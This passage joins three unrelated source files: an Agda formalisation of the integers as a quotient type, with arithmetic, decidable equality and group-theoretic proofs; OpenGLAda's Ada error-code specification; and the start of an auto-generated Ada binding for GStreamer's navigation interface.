_↔_.to ℤ↔ℤ -[ n ] ≡ Data.-[ n ] ℤ↔ℤ--[] {n = zero} = Data.+ 0 ∎ ℤ↔ℤ--[] {n = P.suc n} = Data.-[1+ n ] ∎ ------------------------------------------------------------------------ -- An eliminator and a recursor with poor computational behaviour module _ where private -- An eliminator for integers. This eliminator is not exported, -- because it is basically just the eliminator for quotients. elim : (P : ℤ → Type p) → (∀ i → Is-set (P i)) → (f : ∀ m n → P [ (m , n) ]) → (∀ {p q} (s : Same-difference p q) → subst P ([]-respects-relation s) (uncurry f p) ≡ uncurry f q) → ∀ i → P i elim _ P-set f resp = Q.elim λ where .[]ʳ → uncurry f .[]-respects-relationʳ → resp .is-setʳ → P-set -- The following computation rule holds by definition. elim-[] : (P : ℤ → Type p) → (P-set : ∀ i → Is-set (P i)) → (f : ∀ m n → P [ (m , n) ]) → (resp : ∀ {p q} (s : Same-difference p q) → subst P ([]-respects-relation s) (uncurry f p) ≡ uncurry f q) → elim P P-set f resp [ (m , n) ] ≡ f m n elim-[] _ _ _ _ = refl _ private -- A helper function used in the implementation of elim. elim′ : (P : ℤ → Type p) → (∀ n → P (_↔_.from ℤ↔ℤ (Data.+ n))) → (∀ n → P (_↔_.from ℤ↔ℤ Data.-[1+ n ])) → ∀ i → P (_↔_.from ℤ↔ℤ i) elim′ _ p n (Data.+ m) = p m elim′ _ p n Data.-[1+ m ] = n m -- An eliminator for integers. -- -- Note that the motive does not have to be a family of sets, and -- that the function does not need to respect the relation -- Same-difference. elim : (P : ℤ → Type p) → (∀ m n → P [ (m , n) ]) → ∀ i → P i elim P f i = $⟨ elim′ P (λ n → f n 0) (λ n → f 0 (P.suc n)) (_↔_.to ℤ↔ℤ i) ⟩ P (_↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ i)) ↝⟨ subst P (_↔_.left-inverse-of ℤ↔ℤ i) ⟩□ P i □ mutual -- A "computation" rule for elim. -- -- Here the function is required to respect Same-difference. Note that -- this "computation" rule does not (at the time of writing) in -- general hold by definition. elim-[] : {P : ℤ → Type p} (f : ∀ m n → P [ (m , n) ]) → (∀ {p q} (s : Same-difference p q) → subst P ([]-respects-relation s) (uncurry f p) ≡ uncurry f q) → elim P f [ (m , n) ] ≡ f m n elim-[] f hyp = elim-[]′ f (λ _ _ → hyp _) -- A variant of the computation rule in which the requirement to -- respect Same-difference has been replaced by a more specific -- condition. elim-[]′ : {P : ℤ → Type p} (f : ∀ m n → P [ (m , n) ]) → (∀ m n → subst P []≡[suc,suc] (f m n) ≡ f (P.suc m) (P.suc n)) → elim P f [ (m , n) ] ≡ f m n elim-[]′ {m = m} {n = zero} {P = P} f hyp = elim P f [ (m , 0) ] ≡⟨⟩ subst P (cong +_ Nat.+-right-identity) (f (m ⊕ 0) 0) ≡⟨ sym $ subst-∘ _ _ _ ⟩ subst (P ∘ +_) Nat.+-right-identity (f (m ⊕ 0) 0) ≡⟨ elim¹ (λ eq → subst (P ∘ +_) eq (f _ _) ≡ f _ _) (subst-refl _ _) _ ⟩∎ f m 0 ∎ elim-[]′ {m = m} {n = P.suc n} {P = P} f hyp = elim P f [ (m , P.suc n) ] ≡⟨⟩ subst P (_↔_.left-inverse-of ℤ↔ℤ [ (m , P.suc n) ]) $ elim′ P (λ n → f n 0) (λ n → f 0 (P.suc n)) (Data.+ m +-[1+ n ]) ≡⟨ lemma m n ⟩∎ f m (P.suc n) ∎ where lemma : ∀ m n → subst P (_↔_.left-inverse-of ℤ↔ℤ [ (m , P.suc n) ]) (elim′ P (λ n → f n 0) (λ n → f 0 (P.suc n)) (Data.+ m +-[1+ n ])) ≡ f m (P.suc n) lemma zero n = subst P (refl _) (f 0 (P.suc n)) ≡⟨ subst-refl _ _ ⟩∎ f 0 (P.suc n) ∎ lemma (P.suc m) zero = subst P []≡[suc,suc] (f m 0) ≡⟨ hyp _ _ ⟩∎ f (P.suc m) 1 ∎ lemma (P.suc m) (P.suc n) = subst P (trans (_↔_.left-inverse-of ℤ↔ℤ [ (m , P.suc n) ]) []≡[suc,suc]) (elim′ P (λ n → f n 0) (λ n → f 0 (P.suc n)) (Data.+ m +-[1+ n ])) ≡⟨ sym $ subst-subst _ _ _ _ ⟩ subst P []≡[suc,suc] (subst P (_↔_.left-inverse-of ℤ↔ℤ [ (m , P.suc n) ]) (elim′ P (λ n → f n 0) (λ n → f 0 (P.suc n)) (Data.+ m +-[1+ n ]))) ≡⟨ cong (subst P ([]-respects-relation _)) $ lemma m n ⟩ subst P []≡[suc,suc] (f m (P.suc n)) ≡⟨ hyp _ _ ⟩∎ f (P.suc m) (P.suc (P.suc n)) ∎ private -- A helper function used in the implementation of rec. rec′ : (ℕ → A) → (ℕ → A) → Data.ℤ → A rec′ p n (Data.+ m) = p m rec′ p n Data.-[1+ m ] = n m -- A recursor for integers. rec : (ℕ → ℕ → A) → ℤ → A rec {A = A} f = ℤ ↔⟨ ℤ↔ℤ ⟩ Data.ℤ ↝⟨ rec′ (λ n → f n 0) (λ n → f 0 (P.suc n)) ⟩□ A □ -- The recursor could have been defined in terms of the eliminator. -- -- The recursor is not defined in terms of the eliminator in this way -- because (in at least some cases) this would lead to different -- computational behaviour. rec≡elim : (f : ℕ → ℕ → A) → rec f i ≡ elim (const _) f i rec≡elim {i = i} f = rec f i ≡⟨⟩ rec′ (λ n → f n 0) (λ n → f 0 (P.suc n)) (_↔_.to ℤ↔ℤ i) ≡⟨ lemma (_↔_.to ℤ↔ℤ i) ⟩ elim′ (const _) (λ n → f n 0) (λ n → f 0 (P.suc n)) (_↔_.to ℤ↔ℤ i) ≡⟨ sym $ subst-const _ ⟩ subst (const _) (_↔_.left-inverse-of ℤ↔ℤ i) $ elim′ (const _) (λ n → f n 0) (λ n → f 0 (P.suc n)) (_↔_.to ℤ↔ℤ i) ≡⟨⟩ elim (const _) f i ∎ where lemma : ∀ i → rec′ (λ n → f n 0) (λ n → f 0 (P.suc n)) i ≡ elim′ (const _) (λ n → f n 0) (λ n → f 0 (P.suc n)) i lemma (Data.+ _) = refl _ lemma Data.-[1+ _ ] = refl _ -- A "computation" rule for rec. -- -- Note that this "computation" rule does not (at the time of writing) -- in general hold by definition. rec-[] : (f : ℕ → ℕ → A) → (∀ {p q} → Same-difference p q → uncurry f p ≡ uncurry f q) → rec f [ (m , n) ] ≡ f m n rec-[] {m = m} {n = n} f hyp = rec f [ (m , n) ] ≡⟨ rec≡elim f ⟩ elim (const _) f [ (m , n) ] ≡⟨ elim-[] f (λ {p q} s → subst (const _) ([]-respects-relation s) (uncurry f p) ≡⟨ subst-const _ ⟩ uncurry f p ≡⟨ hyp s ⟩∎ uncurry f q ∎) ⟩∎ f m n ∎ ------------------------------------------------------------------------ -- Negation, addition and subtraction -- A helper function that can be used to define unary operators on -- integers. unary-operator : (f : ℕ × ℕ → ℕ × ℕ) → (∀ {i j} → Same-difference i j → Same-difference (f i) (f j)) → ℤ → ℤ unary-operator f resp = Q.rec λ where .[]ʳ i → [ f i ] .[]-respects-relationʳ s → []-respects-relation (resp s) .is-setʳ → ℤ-set private -- A computation rule for unary-operator. -- -- The function is not defined using the recursor above, but rather -- the quotient eliminator, to ensure that this computation rule -- holds by definition. unary-operator-[] : (f : ℕ × ℕ → ℕ × ℕ) → (resp : ∀ {i j} → Same-difference i j → Same-difference (f i) (f j)) → ∀ i → unary-operator f resp [ i ] ≡ [ f i ] unary-operator-[] _ _ _ = refl _ -- A helper function that can be used to define binary operators on -- integers. binary-operator : (f : ℕ × ℕ → ℕ × ℕ → ℕ × ℕ) → (∀ {i₁ i₂ j₁ j₂} → Same-difference i₁ i₂ → Same-difference j₁ j₂ → Same-difference (f i₁ j₁) (f i₂ j₂)) → ℤ → ℤ → ℤ binary-operator f resp = Q.rec λ where .[]ʳ i → Q.rec λ where .[]ʳ j → [ f i j ] .[]-respects-relationʳ s → []-respects-relation (resp (Nat.+-comm (proj₁ i)) s) .is-setʳ → ℤ-set .[]-respects-relationʳ s → ⟨ext⟩ $ Q.elim-prop λ where .[]ʳ i → []-respects-relation (resp s (Nat.+-comm (proj₁ i))) .is-propositionʳ _ → +⇒≡ {n = 1} ℤ-set .is-setʳ → Π-closure ext 2 λ _ → ℤ-set private -- A computation rule for binary-operator. -- -- The function is not defined using the recursor above, but rather -- the quotient eliminator, to ensure that this computation rule -- holds by definition. binary-operator-[] : (f : ℕ × ℕ → ℕ × ℕ → ℕ × ℕ) → (resp : ∀ {i₁ i₂ j₁ j₂} → Same-difference i₁ i₂ → Same-difference j₁ j₂ → Same-difference (f i₁ j₁) (f i₂ j₂)) → ∀ i j → binary-operator f resp [ i ] [ j ] ≡ [ f i j ] binary-operator-[] _ _ _ _ = refl _ -- Negation. infix 8 -_ -_ : ℤ → ℤ -_ = unary-operator swap sym -- Addition. infixl 6 _+_ _+_ : ℤ → ℤ → ℤ _+_ = binary-operator (Σ-zip _⊕_ _⊕_) (λ { {k₁ , k₂} {ℓ₁ , ℓ₂} {m₁ , m₂} {n₁ , n₂} hyp₁ hyp₂ → (k₁ ⊕ m₁) ⊕ (ℓ₂ ⊕ n₂) ≡⟨ lemma k₁ ⟩ (k₁ ⊕ ℓ₂) ⊕ (m₁ ⊕ n₂) ≡⟨ cong₂ _⊕_ hyp₁ hyp₂ ⟩ (k₂ ⊕ ℓ₁) ⊕ (m₂ ⊕ n₁) ≡⟨ lemma k₂ ⟩∎ (k₂ ⊕ m₂) ⊕ (ℓ₁ ⊕ n₁) ∎ }) where lemma : ∀ _ {_ _ _} → _ lemma a {b} {c} {d} = (a ⊕ b) ⊕ (c ⊕ d) ≡⟨ sym $ Nat.+-assoc a ⟩ a ⊕ (b ⊕ (c ⊕ d)) ≡⟨ cong (a ⊕_) $ Nat.+-assoc b ⟩ a ⊕ ((b ⊕ c) ⊕ d) ≡⟨ cong ((a ⊕_) ∘ (_⊕ d)) $ Nat.+-comm b ⟩ a ⊕ ((c ⊕ b) ⊕ d) ≡⟨ cong (a ⊕_) $ sym $ Nat.+-assoc c ⟩ a ⊕ (c ⊕ (b ⊕ d)) ≡⟨ Nat.+-assoc a ⟩∎ (a ⊕ c) ⊕ (b ⊕ d) ∎ -- Subtraction. infixl 6 _-_ _-_ : ℤ → ℤ → ℤ i - j = i + - j -- The implementation of negation given here matches the one in -- Integer. -₁≡-₁ : ∀ i → - (_↔_.from ℤ↔ℤ i) ≡ _↔_.from ℤ↔ℤ (Data.- i) -₁≡-₁ (Data.+ zero) = -[ 0 ] ∎ -₁≡-₁ (Data.+ (P.suc n)) = -[ P.suc n ] ∎ -₁≡-₁ Data.-[1+ n ] = + P.suc n ∎ -- A lemma used in the implementation of +≡+. ++-[1+]≡++-[1+] : + m + -[ P.suc n ] ≡ _↔_.from ℤ↔ℤ (Data.+ m +-[1+ n ]) ++-[1+]≡++-[1+] {m = zero} {n = n} = refl _ ++-[1+]≡++-[1+] {m = P.suc m} {n = zero} = [ (P.suc (m ⊕ 0) , 1) ] ≡⟨ cong (Q.[_] ∘ (_, 1) ∘ P.suc) Nat.+-right-identity ⟩ [ (P.suc m , 1) ] ≡⟨ sym []≡[suc,suc] ⟩∎ [ (m , 0) ] ∎ ++-[1+]≡++-[1+] {m = P.suc m} {n = P.suc n} = + P.suc m + -[ P.suc (P.suc n) ] ≡⟨ sym []≡[suc,suc] ⟩ + m + -[ P.suc n ] ≡⟨ ++-[1+]≡++-[1+] ⟩ _↔_.from ℤ↔ℤ (Data.+ m +-[1+ n ]) ≡⟨⟩ _↔_.from ℤ↔ℤ (Data.+ P.suc m +-[1+ P.suc n ]) ∎ -- The implementation of addition given here matches the one in -- Integer. +≡+ : ∀ i → (_↔_.from ℤ↔ℤ i) + (_↔_.from ℤ↔ℤ j) ≡ _↔_.from ℤ↔ℤ (i Data.+ j) +≡+ {j = Data.+ n} (Data.+ m) = + (m ⊕ n) ∎ +≡+ {j = Data.-[1+ n ]} (Data.+ m) = ++-[1+]≡++-[1+] +≡+ {j = Data.+ n} Data.-[1+ m ] = -[ P.suc m ] + + n ≡⟨ []-respects-relation ( n ⊕ P.suc m ≡⟨ Nat.+-comm n ⟩ P.suc m ⊕ n ≡⟨ sym $ cong₂ _⊕_ (Nat.+-right-identity {n = P.suc m}) Nat.+-right-identity ⟩∎ P.suc m ⊕ 0 ⊕ (n ⊕ 0) ∎) ⟩ + n + -[ P.suc m ] ≡⟨ ++-[1+]≡++-[1+] ⟩∎ _↔_.from ℤ↔ℤ (Data.+ n +-[1+ m ]) ∎ +≡+ {j = Data.-[1+ n ]} Data.-[1+ m ] = -[ P.suc m ⊕ P.suc n ] ≡⟨ cong (-[_] ∘ P.suc) $ sym $ Nat.suc+≡+suc _ ⟩∎ -[ P.suc (P.suc (m ⊕ n)) ] ∎ -- The implementation of subtraction given here matches the one in -- Integer. -≡- : ∀ i j → (_↔_.from ℤ↔ℤ i) - (_↔_.from ℤ↔ℤ j) ≡ _↔_.from ℤ↔ℤ (i Data.- j) -≡- i j = (_↔_.from ℤ↔ℤ i) - (_↔_.from ℤ↔ℤ j) ≡⟨⟩ (_↔_.from ℤ↔ℤ i) + - (_↔_.from ℤ↔ℤ j) ≡⟨ cong (λ j → _↔_.from ℤ↔ℤ i + j) $ -₁≡-₁ j ⟩ _↔_.from ℤ↔ℤ i + _↔_.from ℤ↔ℤ (Data.- j) ≡⟨ +≡+ i ⟩ _↔_.from ℤ↔ℤ (i Data.+ Data.- j) ≡⟨⟩ _↔_.from ℤ↔ℤ (i Data.- j) ∎ ------------------------------------------------------------------------ -- Some lemmas related to equality -- The Same-difference relation is pointwise equivalent to equality -- under [_] (assuming propositional extensionality). Same-difference≃[]≡[] : Propositional-extensionality lzero → Same-difference i j ≃ ([ i ] ≡ [ j ]) Same-difference≃[]≡[] prop-ext = related≃[equal] prop-ext Same-difference-is-equivalence-relation (λ {p} → Same-difference-propositional {p = p}) -- Non-negative integers are not equal to negative integers. +≢-[1+] : + m ≢ -[ P.suc n ] +≢-[1+] {m = m} {n = n} = Stable-¬ [ + m ≡ -[ P.suc n ] ↔⟨⟩ [ (m , 0) ] ≡ [ (0 , P.suc n) ] ↔⟨ inverse $ Same-difference≃[]≡[] prop-ext ⟩ Same-difference (m , 0) (0 , P.suc n) ↔⟨⟩ m ⊕ P.suc n ≡ 0 ↝⟨ trans (Nat.suc+≡+suc m) ⟩ P.suc (m ⊕ n) ≡ 0 ↝⟨ Nat.0≢+ ∘ sym ⟩□ ⊥ □ ] -- Non-positive integers are not equal to positive integers. +[1+]≢- : + P.suc m ≢ -[ n ] +[1+]≢- {m = m} {n = n} = Stable-¬ [ + P.suc m ≡ -[ n ] ↔⟨⟩ [ (P.suc m , 0) ] ≡ [ (0 , n) ] ↔⟨ inverse $ Same-difference≃[]≡[] prop-ext ⟩ Same-difference (P.suc m , 0) (0 , n) ↔⟨⟩ P.suc m ⊕ n ≡ 0 ↝⟨ Nat.0≢+ ∘ sym ⟩□ ⊥ □ ] -- The +_ "constructor" is cancellative (assuming propositional -- extensionality). +-cancellative : Propositional-extensionality lzero → + m ≡ + n → m ≡ n +-cancellative {m = m} {n = n} prop-ext = + m ≡ + n ↔⟨⟩ [ (m , 0) ] ≡ [ (n , 0) ] ↔⟨ inverse $ Same-difference≃[]≡[] prop-ext ⟩ m ⊕ 0 ≡ 0 ⊕ n ↝⟨ trans (sym Nat.+-right-identity) ⟩□ m ≡ n □ -- The -[_] "constructor" is cancellative (assuming propositional -- extensionality). -[]-cancellative : Propositional-extensionality lzero → -[ m ] ≡ -[ n ] → m ≡ n -[]-cancellative {m = m} {n = n} prop-ext = -[ m ] ≡ -[ n ] ↝⟨ cong (-_) ⟩ + m ≡ + n ↝⟨ +-cancellative prop-ext ⟩□ m ≡ n □ -- Equality of integers is decidable (assuming propositional -- extensionality). infix 4 [_]_≟_ [_]_≟_ : Propositional-extensionality lzero → Decidable-equality ℤ [_]_≟_ prop-ext = Q.elim-prop λ where .[]ʳ i → Q.elim-prop λ where .[]ʳ _ → ⊎-map (_≃_.to $ Same-difference≃[]≡[] prop-ext) (_∘ _≃_.from (Same-difference≃[]≡[] prop-ext)) (Same-difference-decidable i) .is-propositionʳ _ → Dec-closure-propositional ext ℤ-set .is-propositionʳ _ → Π-closure ext 1 λ _ → Dec-closure-propositional ext ℤ-set -- Erased equality of integers is decidable. infix 4 _≟_ _≟_ : Decidable-erased-equality ℤ _≟_ = Q.elim-prop λ where .[]ʳ i → Q.elim-prop λ where .[]ʳ _ → Dec-Erased-map (from-equivalence $ Same-difference≃[]≡[] prop-ext) $ Dec→Dec-Erased $ Same-difference-decidable i .is-propositionʳ _ → Is-proposition-Dec-Erased ext ℤ-set .is-propositionʳ _ → Π-closure ext 1 λ _ → Is-proposition-Dec-Erased ext ℤ-set ------------------------------------------------------------------------ -- The successor and predecessor functions -- The successor function. suc : ℤ → ℤ suc = Q.rec λ where .[]ʳ (m , n) → [ (P.suc m , n) ] .[]-respects-relationʳ {x = m₁ , m₂} {y = n₁ , n₂} hyp → []-respects-relation (P.suc (m₁ ⊕ n₂) ≡⟨ cong P.suc hyp ⟩ P.suc (m₂ ⊕ n₁) ≡⟨ Nat.suc+≡+suc _ ⟩∎ m₂ ⊕ P.suc n₁ ∎ ) .is-setʳ → ℤ-set -- The function suc adds one to its input. suc≡1+ : ∀ i → suc i ≡ + 1 + i suc≡1+ = elim _ λ _ _ → refl _ -- The predecessor function. pred : ℤ → ℤ pred = Q.rec λ where .[]ʳ (m , n) → [ (m , P.suc n) ] .[]-respects-relationʳ {x = m₁ , m₂} {y = n₁ , n₂} hyp → []-respects-relation (m₁ ⊕ P.suc n₂ ≡⟨ sym $ Nat.suc+≡+suc _ ⟩ P.suc (m₁ ⊕ n₂) ≡⟨ cong P.suc hyp ⟩∎ P.suc (m₂ ⊕ n₁) ∎) .is-setʳ → ℤ-set -- The function pred subtracts one from its input. pred≡-1+ : ∀ i → pred i ≡ -[ 1 ] + i pred≡-1+ = elim _ λ _ _ → refl _ -- An equivalence between ℤ and ℤ corresponding to the successor -- function. successor : ℤ ≃ ℤ successor = Eq.↔→≃ suc pred (elim _ λ m _ → []-respects-relation (cong P.suc (Nat.+-comm m))) (elim _ λ m _ → []-respects-relation (cong P.suc (Nat.+-comm m))) ------------------------------------------------------------------------ -- Positive, negative -- The property of being positive. Positive : ℤ → Type Positive = Data.Positive ∘ _↔_.to ℤ↔ℤ -- Positive is propositional. Positive-propositional : ∀ i → Is-proposition (Positive i) Positive-propositional _ = Data.Positive-propositional -- The property of being negative. Negative : ℤ → Type Negative = Data.Negative ∘ _↔_.to ℤ↔ℤ -- Negative is propositional. Negative-propositional : ∀ i → Is-proposition (Negative i) Negative-propositional _ = Data.Negative-propositional -- No integer is both positive and negative. ¬+- : ∀ i → Positive i → Negative i → ⊥₀ ¬+- _ = Data.¬+- -- No integer is both positive and equal to zero. ¬+0 : Positive i → i ≡ + 0 → ⊥₀ ¬+0 pos ≡0 = Data.¬+0 pos (_↔_.from-to ℤ↔ℤ (sym ≡0)) -- No integer is both negative and equal to zero. ¬-0 : Negative i → i ≡ + 0 → ⊥₀ ¬-0 neg ≡0 = Data.¬-0 neg (_↔_.from-to ℤ↔ℤ (sym ≡0)) -- One can decide if an integer is negative, zero or positive. -⊎0⊎+ : ∀ i → Negative i ⊎ i ≡ + 0 ⊎ Positive i -⊎0⊎+ i = ⊎-map id (⊎-map (sym ∘ _↔_.to-from ℤ↔ℤ) id) (Data.-⊎0⊎+ $ _↔_.to ℤ↔ℤ i) -- If i and j are positive, then i + j is positive. >0→>0→+>0 : ∀ i j → Positive i → Positive j → Positive (i + j) >0→>0→+>0 i j i+ j+ = $⟨ Data.>0→>0→+>0 (_↔_.to ℤ↔ℤ i) (_↔_.to ℤ↔ℤ j) i+ j+ ⟩ Data.Positive (_↔_.to ℤ↔ℤ i Data.+ _↔_.to ℤ↔ℤ j) ↝⟨ subst Data.Positive $ sym $ _↔_.from-to ℤ↔ℤ $ sym $ +≡+ (_↔_.to ℤ↔ℤ i) ⟩ Data.Positive (_↔_.to ℤ↔ℤ (_↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ i) + _↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ j))) ↔⟨⟩ Positive (_↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ i) + _↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ j)) ↝⟨ subst Positive $ cong₂ _+_ (_↔_.left-inverse-of ℤ↔ℤ i) (_↔_.left-inverse-of ℤ↔ℤ j) ⟩□ Positive (i + j) □ -- If i and j are negative, then i + j is negative. <0→<0→+<0 : ∀ i j → Negative i → Negative j → Negative (i + j) <0→<0→+<0 i j i- j- = $⟨ Data.<0→<0→+<0 (_↔_.to ℤ↔ℤ i) (_↔_.to ℤ↔ℤ j) i- j- ⟩ Data.Negative (_↔_.to ℤ↔ℤ i Data.+ _↔_.to ℤ↔ℤ j) ↝⟨ subst Data.Negative $ sym $ _↔_.from-to ℤ↔ℤ $ sym $ +≡+ (_↔_.to ℤ↔ℤ i) ⟩ Data.Negative (_↔_.to ℤ↔ℤ (_↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ i) + _↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ j))) ↔⟨⟩ Negative (_↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ i) + _↔_.from ℤ↔ℤ (_↔_.to ℤ↔ℤ j)) ↝⟨ subst Negative $ cong₂ _+_ (_↔_.left-inverse-of ℤ↔ℤ i) (_↔_.left-inverse-of ℤ↔ℤ j) ⟩□ Negative (i + j) □ ------------------------------------------------------------------------ -- The group of integers -- The group of integers. ℤ-group : Group lzero ℤ-group .Group.Carrier = ℤ ℤ-group .Group.Carrier-is-set = ℤ-set ℤ-group .Group._∘_ = _+_ ℤ-group .Group.id = + 0 ℤ-group .Group._⁻¹ = -_ ℤ-group .Group.assoc = elim _ λ m₁ n₁ → elim _ λ _ _ → elim _ λ _ _ → cong [_] $ cong₂ _,_ (Nat.+-assoc m₁) (Nat.+-assoc n₁) ℤ-group .Group.left-identity = elim _ λ _ _ → refl _ ℤ-group .Group.right-identity = elim _ λ _ _ → cong [_] $ cong₂ _,_ Nat.+-right-identity Nat.+-right-identity ℤ-group .Group.left-inverse = elim _ λ _ n → []-respects-relation (cong (_⊕ 0) $ Nat.+-comm n) ℤ-group .Group.right-inverse = elim _ λ m _ → []-respects-relation (cong (_⊕ 0) $ Nat.+-comm m) -- ℤ-group is isomorphic to Data.ℤ-group. ℤ≃ᴳℤ : ℤ-group ≃ᴳ Data.ℤ-group ℤ≃ᴳℤ = G.≃ᴳ-sym λ where .G.Homomorphic.related → Eq.↔⇒≃ (inverse ℤ↔ℤ) .G.Homomorphic.homomorphic i _ → sym (+≡+ i) -- ℤ-group is equal to Data.ℤ-group (assuming univalence). ℤ≡ℤ : Univalence lzero → ℤ-group ≡ Data.ℤ-group ℤ≡ℤ univ = _≃_.to (G.≃ᴳ≃≡ ext univ) ℤ≃ᴳℤ -- The group of integers is generated by + 1. ℤ-generated-by-1 : Generated-by ℤ-group (+ 1) ℤ-generated-by-1 = C.≃ᴳ→Generated-by→Generated-by (G.≃ᴳ-sym ℤ≃ᴳℤ) C.ℤ-generated-by-1 -- The group of integers is cyclic. ℤ-cyclic : Cyclic ℤ-group ℤ-cyclic = ∣ _ , ℤ-generated-by-1 ∣ -- The group of integers is abelian. ℤ-abelian : Abelian ℤ-group ℤ-abelian = C.Cyclic→Abelian ℤ-group ℤ-cyclic -- The direct product of the group of integers and the group of -- integers is not cyclic. ℤ×ℤ-not-cyclic : ¬ Cyclic (ℤ-group G.× ℤ-group) ℤ×ℤ-not-cyclic = Cyclic (ℤ-group G.× ℤ-group) ↝⟨ C.≃ᴳ→Cyclic→Cyclic (G.↝-× ℤ≃ᴳℤ ℤ≃ᴳℤ) ⟩ Cyclic (Data.ℤ-group G.× Data.ℤ-group) ↝⟨ C.ℤ×ℤ-not-cyclic ⟩□ ⊥ □ -- The group of integers is not isomorphic to the direct product of -- the group of integers and the group of integers. ℤ≄ᴳℤ×ℤ : ¬ ℤ-group ≃ᴳ (ℤ-group G.× ℤ-group) ℤ≄ᴳℤ×ℤ = ℤ-group ≃ᴳ (ℤ-group G.× ℤ-group) ↝⟨ G.↝ᴳ-trans (G.≃ᴳ-sym ℤ≃ᴳℤ) ∘ flip G.↝ᴳ-trans (G.↝-× ℤ≃ᴳℤ ℤ≃ᴳℤ) ⟩ Data.ℤ-group ≃ᴳ (Data.ℤ-group G.× Data.ℤ-group) ↝⟨ C.ℤ≄ᴳℤ×ℤ ⟩□ ⊥ □ -- The group of integers is not equal to the direct product of the -- group of integers and the group of integers. ℤ≢ℤ×ℤ : ℤ-group ≢ (ℤ-group G.× ℤ-group) ℤ≢ℤ×ℤ = ℤ-group ≡ (ℤ-group G.× ℤ-group) ↝⟨ flip (subst (ℤ-group ≃ᴳ_)) G.↝ᴳ-refl ⟩ ℤ-group ≃ᴳ (ℤ-group G.× ℤ-group) ↝⟨ ℤ≄ᴳℤ×ℤ ⟩□ ⊥ □
src/gl/interface/gl-errors.ads
Roldak/OpenGLAda
79
1465
<filename>src/gl/interface/gl-errors.ads -- part of OpenGLAda, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "COPYING" private with GL.Low_Level; package GL.Errors is -- not Pure because Error_Flag can change with each call pragma Preelaborate; -- The behavior of this package depends on the scenario variable -- Auto_Exceptions. If enabled, every call to OpenGL will be followed by -- a call to glGetError, and if an error flag is set, the corresponding -- exception will be raised. -- -- If disabled, the user has to check manually for the OpenGL error flag by -- calling Error_Flag. type Error_Code is (No_Error, Invalid_Enum, Invalid_Value, Invalid_Operation, Stack_Overflow, Stack_Underflow, Out_Of_Memory, Invalid_Framebuffer_Operation); Invalid_Operation_Error : exception; Out_Of_Memory_Error : exception; Invalid_Value_Error : exception; Stack_Overflow_Error : exception; Stack_Underflow_Error : exception; Invalid_Framebuffer_Operation_Error : exception; Internal_Error : exception; function Error_Flag return Error_Code; private for Error_Code use (No_Error => 0, Invalid_Enum => 16#0500#, Invalid_Value => 16#0501#, Invalid_Operation => 16#0502#, Stack_Overflow => 16#0503#, Stack_Underflow => 16#0504#, Out_Of_Memory => 16#0505#, Invalid_Framebuffer_Operation => 16#0506#); for Error_Code'Size use Low_Level.Enum'Size; -- because we'll just use renames pragma Convention (StdCall, Error_Flag); end GL.Errors;
src/gen/gstreamer-gst_low_level-gstreamer_0_10_gst_interfaces_navigation_h.ads
persan/A-gst
1
13544
pragma Ada_2005; pragma Style_Checks (Off); pragma Warnings (Off); with Interfaces.C; use Interfaces.C; with glib; with glib.Values; with System; with glib; with System; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gststructure_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstquery_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstmessage_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstobject_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstevent_h; with Interfaces.C.Strings; package GStreamer.GST_Low_Level.gstreamer_0_10_gst_interfaces_navigation_h is -- unsupported macro: GST_TYPE_NAVIGATION (gst_navigation_get_type ()) -- arg-macro: function GST_NAVIGATION (obj) -- return G_TYPE_CHECK_INSTANCE_CAST ((obj), GST_TYPE_NAVIGATION, GstNavigation); -- arg-macro: function GST_IS_NAVIGATION (obj) -- return G_TYPE_CHECK_INSTANCE_TYPE ((obj), GST_TYPE_NAVIGATION); -- arg-macro: function GST_NAVIGATION_GET_IFACE (obj) -- return G_TYPE_INSTANCE_GET_INTERFACE ((obj), GST_TYPE_NAVIGATION, GstNavigationInterface); -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_MENU GST_NAVIGATION_COMMAND_MENU1 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_TITLE_MENU GST_NAVIGATION_COMMAND_MENU2 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_ROOT_MENU GST_NAVIGATION_COMMAND_MENU3 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_SUBPICTURE_MENU GST_NAVIGATION_COMMAND_MENU4 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_AUDIO_MENU GST_NAVIGATION_COMMAND_MENU5 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_ANGLE_MENU GST_NAVIGATION_COMMAND_MENU6 -- unsupported macro: GST_NAVIGATION_COMMAND_DVD_CHAPTER_MENU GST_NAVIGATION_COMMAND_MENU7 -- GStreamer Navigation -- * Copyright (C) 2003 <NAME> <<EMAIL>> -- * Copyright (C) 2003 <NAME> <<EMAIL>> -- * -- * navigation.h: navigation interface design -- * -- * This library is free software; you can redistribute it and/or -- * modify it under the terms of the GNU Library General Public -- * License as published by the Free Software Foundation; either -- * version 2 of the License, or (at your option) any later version. -- * -- * This library is distributed in the hope that it will be useful, -- * but WITHOUT ANY WARRANTY; without even the implied warranty of -- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- * Library General Public License for more details. -- * -- * You should have received a copy of the GNU Library General Public -- * License along with this library; if not, write to the -- * Free Software Foundation, Inc., 59 Temple Place - Suite 330, -- * Boston, MA 02111-1307, USA. -- -- skipped empty struct u_GstNavigation -- skipped empty struct GstNavigation type GstNavigationInterface; type u_GstNavigationInterface_u_gst_reserved_array is array (0 .. 3) of System.Address; --subtype GstNavigationInterface is u_GstNavigationInterface; -- gst/interfaces/navigation.h:40 --* -- * GstNavigationInterface: -- * @g_iface: the parent interface -- * @send_event: sending a navigation event -- * -- * Color-balance interface. -- type GstNavigationInterface is record g_iface : aliased 